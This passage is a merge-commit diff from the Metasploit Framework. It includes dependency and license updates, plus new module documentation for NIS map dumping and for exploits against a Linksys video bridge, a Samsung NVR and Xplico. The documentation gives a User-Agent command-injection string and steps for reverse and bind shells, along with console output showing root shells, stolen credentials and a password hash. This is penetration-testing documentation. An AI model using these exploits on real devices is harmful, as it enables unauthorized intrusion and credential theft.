Merge branch 'goliath' into add_https
commit
b8296a809c
|
@ -93,3 +93,7 @@ docker-compose.local*
|
|||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
2
.mailmap
2
.mailmap
|
@ -1,6 +1,7 @@
|
|||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
|
@ -30,6 +31,7 @@ lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
|||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
|
|
|
@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Do** write [release notes] once a pull request is landed
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
|
@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
|
|
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
Copyright (C) 2006-2018, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
31
Gemfile.lock
31
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.29)
|
||||
metasploit-framework (5.0.0)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -10,6 +10,7 @@ PATH
|
|||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
|
@ -17,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.23)
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
mqtt
|
||||
|
@ -124,12 +125,14 @@ GEM
|
|||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.0)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
|
@ -140,7 +143,7 @@ GEM
|
|||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.0)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
|
@ -180,29 +183,29 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.23)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.3)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.10.3)
|
||||
minitest (5.11.1)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.0)
|
||||
multi_json (1.12.2)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.1)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
|
@ -291,14 +294,14 @@ GEM
|
|||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.9)
|
||||
rex-socket (0.1.10)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.15)
|
||||
rex-text (0.2.16)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
|
@ -306,7 +309,7 @@ GEM
|
|||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
|
|
2
LICENSE
2
LICENSE
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
Copyright: 2006-2018, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,25 @@
|
|||
%clr%red .;lxO0KXXXK0Oxl:.
|
||||
,o0WMMMMMMMMMMMMMMMMMMKd,
|
||||
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
|
||||
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
|
||||
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
|
||||
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
|
||||
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
|
||||
oMMMMMMMMMMx. dMMMMMMMMMMx
|
||||
.WMMMMMMMMM: :MMMMMMMMMM,
|
||||
xMMMMMMMMMo lMMMMMMMMMO
|
||||
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
|
||||
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
|
||||
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
|
||||
xMMMMMMMMMd ,0MMMMMMMMMMK;
|
||||
.WMMMMMMMMMc 'OMMMMMM0,
|
||||
lMMMMMMMMMMk. .kMMO'
|
||||
dMMMMMMMMMMWd' ..
|
||||
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
|
||||
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
|
||||
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
|
||||
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
|
||||
%red 'oOWMMMMMMMMo%clr +:+
|
||||
%red .,cdkO0K;%clr :+: :+:
|
||||
:::::::+:
|
||||
%whiMetasploit%clr %yelUnder Construction%clr
|
Binary file not shown.
|
@ -0,0 +1,110 @@
|
|||
## Intro
|
||||
|
||||
From the `bootparamd(8)` man page:
|
||||
|
||||
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
|
||||
|
||||
The module documented within will allow a tester to disclose the NIS
|
||||
domain name from a server running `bootparamd`. After knowing the domain
|
||||
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
|
||||
dump a map from a compatible NIS server (running as `ypserv`).
|
||||
|
||||
## Setup
|
||||
|
||||
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||
If the link is down, you can find it via the Wayback Machine.
|
||||
|
||||
After that is done, install `bootparamd` however your OS provides it.
|
||||
|
||||
Make sure you add a client to the `bootparams` file, which is usually at
|
||||
`/etc/bootparams`.
|
||||
|
||||
Here is an example `bootparams` file (courtesy of
|
||||
[@bcoles](https://github.com/bcoles)):
|
||||
|
||||
```
|
||||
clientname root=nfsserver:/export/clientname/root
|
||||
```
|
||||
|
||||
You can read the `bootparams(5)` man page for more info.
|
||||
|
||||
Lastly, the client should be added to `/etc/hosts` if it isn't already
|
||||
resolvable.
|
||||
|
||||
## Options
|
||||
|
||||
**PROTOCOL**
|
||||
|
||||
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
|
||||
|
||||
**CLIENT**
|
||||
|
||||
Set this to the address of a client in the target's `bootparams` file.
|
||||
Usually this is a host within the same network range as the target.
|
||||
|
||||
**XDRTimeout**
|
||||
|
||||
Set this to the timeout in seconds for XDR decoding of the response.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/nis_bootparamd_domain
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
|
||||
client => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > run
|
||||
|
||||
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_bootparamd_domain) >
|
||||
```
|
||||
|
||||
After disclosing the domain name, you can use
|
||||
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
|
||||
server.
|
||||
|
||||
```
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
|
||||
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||
domain => gesellschaft
|
||||
msf auxiliary(gather/nis_ypserv_map) > run
|
||||
|
||||
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
sync:*:4:65534:sync:/bin:/bin/sync
|
||||
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||
root:*:0:0:root:/root:/bin/bash
|
||||
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||
_apt:*:105:65534::/nonexistent:/bin/false
|
||||
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
syslog:*:104:108::/home/syslog:/bin/false
|
||||
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
|
@ -0,0 +1,108 @@
|
|||
## Intro
|
||||
|
||||
If you've worked with old Unix systems before, you've probably
|
||||
encountered NIS (Network Information Service). The most familiar way of
|
||||
describing it is a sort of hybrid between DNS and LDAP.
|
||||
|
||||
[Oracle][1] says the following about it:
|
||||
|
||||
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
|
||||
|
||||
And on its use:
|
||||
|
||||
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
|
||||
|
||||
The module documented within will allow a tester to dump any map from an
|
||||
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
|
||||
contain things like hashes and user info, which can go a long way during
|
||||
a pentest.
|
||||
|
||||
## Setup
|
||||
|
||||
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||
If the link is down, you can find it via the Wayback Machine.
|
||||
|
||||
## Options
|
||||
|
||||
**PROTOCOL**
|
||||
|
||||
Set this to either TCP or UDP. TCP is the default due to easy discovery.
|
||||
|
||||
**DOMAIN**
|
||||
|
||||
Set this to your NIS domain.
|
||||
|
||||
**MAP**
|
||||
|
||||
Set this to the NIS map you want to dump. The default is `passwd`. You
|
||||
can use the nicknames described in the module info instead of the full
|
||||
map names.
|
||||
|
||||
**XDRTimeout**
|
||||
|
||||
Set this to the timeout in seconds for XDR decoding of the response.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/nis_ypserv_map
|
||||
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
|
||||
rhost => 192.168.0.2
|
||||
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||
domain => gesellschaft
|
||||
msf auxiliary(gather/nis_ypserv_map) > run
|
||||
|
||||
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
sync:*:4:65534:sync:/bin:/bin/sync
|
||||
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||
root:*:0:0:root:/root:/bin/bash
|
||||
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||
_apt:*:105:65534::/nonexistent:/bin/false
|
||||
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
syslog:*:104:108::/home/syslog:/bin/false
|
||||
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
||||
|
||||
After dumping a map, you can find it stored in `loot` later. You should
|
||||
be able to run something like John the Ripper directly on the
|
||||
`passwd.byname` map.
|
||||
|
||||
```
|
||||
msf auxiliary(gather/nis_ypserv_map) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
|
||||
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
||||
|
||||
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html
|
|
@ -0,0 +1,49 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in the Linksys WVBR0-25 wireless video bridge. More information about the device itself can be found on AT&T's [manuals page](https://www.att.com/help/manuals/directv/dvrs.html) under the "DIRECTV Wireless Video Bridge Gen2 Product Manual" heading, as well as on this [unofficial product page](https://www.solidsignal.com/pview.asp?p=wvb). A description of the exploited vulnerability is available in the Vulnerability Details section of [this advisory](http://www.zerodayinitiative.com/advisories/ZDI-17-973/).
|
||||
The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
|
||||
|
||||
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to `"; printf "[random string]`. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
|
||||
|
||||
Manual exploitation would equate to browsing to the URI `http://<ip>/` with the User-Agent header set to `"; command;`.
|
||||
|
||||
Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Make sure the device is running.
|
||||
2. Start msfconsole.
|
||||
3. Do: ```use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth```
|
||||
4. Do: ```set payload cmd/unix/bind_netcat```
|
||||
5. Do: ```set RHOST [ip]```
|
||||
6. Do: ```exploit```
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
The `generic` and `netcat` payload types are valid.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Firmware 1.0.39
|
||||
|
||||
The following is an example run getting a shell:
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
|
||||
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
|
||||
payload => cmd/unix/bind_netcat
|
||||
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
|
||||
RHOST => 10.0.0.104
|
||||
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
|
||||
|
||||
[*] 10.0.0.104:80 - Trying to access the device ...
|
||||
[*] Started bind handler
|
||||
[*] 10.0.0.104:80 - Exploiting...
|
||||
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
|
||||
id
|
||||
|
||||
uid=0(root) gid=0(root)
|
||||
```
|
|
@ -0,0 +1,94 @@
|
|||
## Description
|
||||
|
||||
Samsung NVR Recorder SRN-1670D is a high performance network video recorder. An arbitrary file
|
||||
upload vulnerability was found in the Web Viewer component, which could allow an authenticated
|
||||
user to upload a PHP payload to get code exuection. The vulnerable code can be found in
|
||||
network_ssl_upload.php:
|
||||
|
||||
```php
|
||||
22 $path = "./upload/";
|
||||
23 $file = $_FILES[ "attachFile" ];
|
||||
24 $isApply = ( int )$_POST[ "is_apply" ];
|
||||
25 $isInstall = ( int )$_POST[ "isInstall" ];
|
||||
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
|
||||
27
|
||||
28 // create socket
|
||||
29 $N_message = "";
|
||||
30 $sock = mySocket_create($_is_unix_socket);
|
||||
31 $connected = mySocket_connect($_is_unix_socket, $sock);
|
||||
32
|
||||
33 $loginInfo = new loginInfo();
|
||||
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
|
||||
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
|
||||
36 if ($connected) {
|
||||
37 $id = $loginInfo->get_id();
|
||||
38 $xmlFile = $id.'_config.xml';
|
||||
39 $N_message = "dummy".nvr_command::DELIM;
|
||||
40 $N_message .= "userid ".$id.nvr_command::DELIM;
|
||||
41
|
||||
42 if ( $isInstall == 1 ) {
|
||||
43 // File upload ===============================================================
|
||||
44 if ( $file[ "error" ] 0 ) {
|
||||
45 $Error = "Error: ".$file[ "error" ];
|
||||
46 } else {
|
||||
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
|
||||
48 }
|
||||
49 // ===========================================================================
|
||||
50 }
|
||||
```
|
||||
|
||||
To avoid the need of authentication, the exploit also takes advantage of another vulnerability
|
||||
(CVE-2015-8279) in the log exporting function to read an aribtrary file from the remote machine
|
||||
in order to obtain credentials that can be used for the attack.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Samsung NVR Recorder SRN-1670D is a hardware:
|
||||
|
||||
http://www.samsungcc.com.au/cctv/ip-nvr-solution/samsung-dvr-srn-1670d
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > show options
|
||||
|
||||
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.200 yes The target address.
|
||||
RPORT 80 yes The target port (TCP).
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.122 yes The listen address
|
||||
LPORT 4358 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Samsung SRN-1670D == 1.0.0.193
|
||||
|
||||
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.122:4358
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
|
||||
[+] Credentials obtained successfully: admin:pass123!
|
||||
[*] Logging...
|
||||
[+] Authentication Succeeded
|
||||
[*] Generating payload[ eRdGKfFJ.php ]...
|
||||
[*] Uploading payload...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (33986 bytes) to 192.168.1.200
|
||||
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
|
||||
```
|
|
@ -0,0 +1,88 @@
|
|||
## Vulnerable Application
|
||||
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal command under the context of the root user.
|
||||
|
||||
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
|
||||
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
|
||||
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
|
||||
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
|
||||
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
|
||||
|
||||
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
|
||||
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Follow instruction from "from sourceforge" section at following URL. Don't forget install version 1.2.0 instead of 1.0.0. At the time of this writing, installation commands contains command for version 1.0.0
|
||||
|
||||
[http://wiki.xplico.org/doku.php?id=ubuntu](http://wiki.xplico.org/doku.php?id=ubuntu)
|
||||
|
||||
You may also give a try to virtualbox image provided by maintainer of Xplico. I've tested this module against Xplico-1.1.0-ubuntu-13.10-i386.ova.
|
||||
[https://sourceforge.net/projects/xplico/files/VirtualBox%20images/](https://sourceforge.net/projects/xplico/files/VirtualBox%20images/)
|
||||
|
||||
Username of the virtualbox image is "ubuntu" and password is "reverse".
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/securityonion_xplico_exec`
|
||||
- [ ] Set `RHOST`
|
||||
- [ ] Set `PAYLOAD cmd/unix/reverse_awk`
|
||||
- [ ] Set `LHOST`
|
||||
- [ ] Run `exploit`
|
||||
- [ ] **Verify** that you are seeing `New user successfully registered` in console.
|
||||
- [ ] **Verify** that you are seeing `User successfully activated` in console.
|
||||
- [ ] **Verify** that you are seeing `Successfully authenticated` in console.
|
||||
- [ ] **Verify** that you are seeing `New Case successfully creted` in console.
|
||||
- [ ] **Verify** that you are seeing `New Sols successfully creted` in console.
|
||||
- [ ] **Verify** that you are seeing `PCAP successfully uploaded. Pcap parser is going to start on server side` in console.
|
||||
- [ ] **Verify** that you are getting `We are at PCAP decoding phase. Little bit more patience...` in console.
|
||||
- [ ] **Verify** that you have your root shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/securityonion_xplico_exec
|
||||
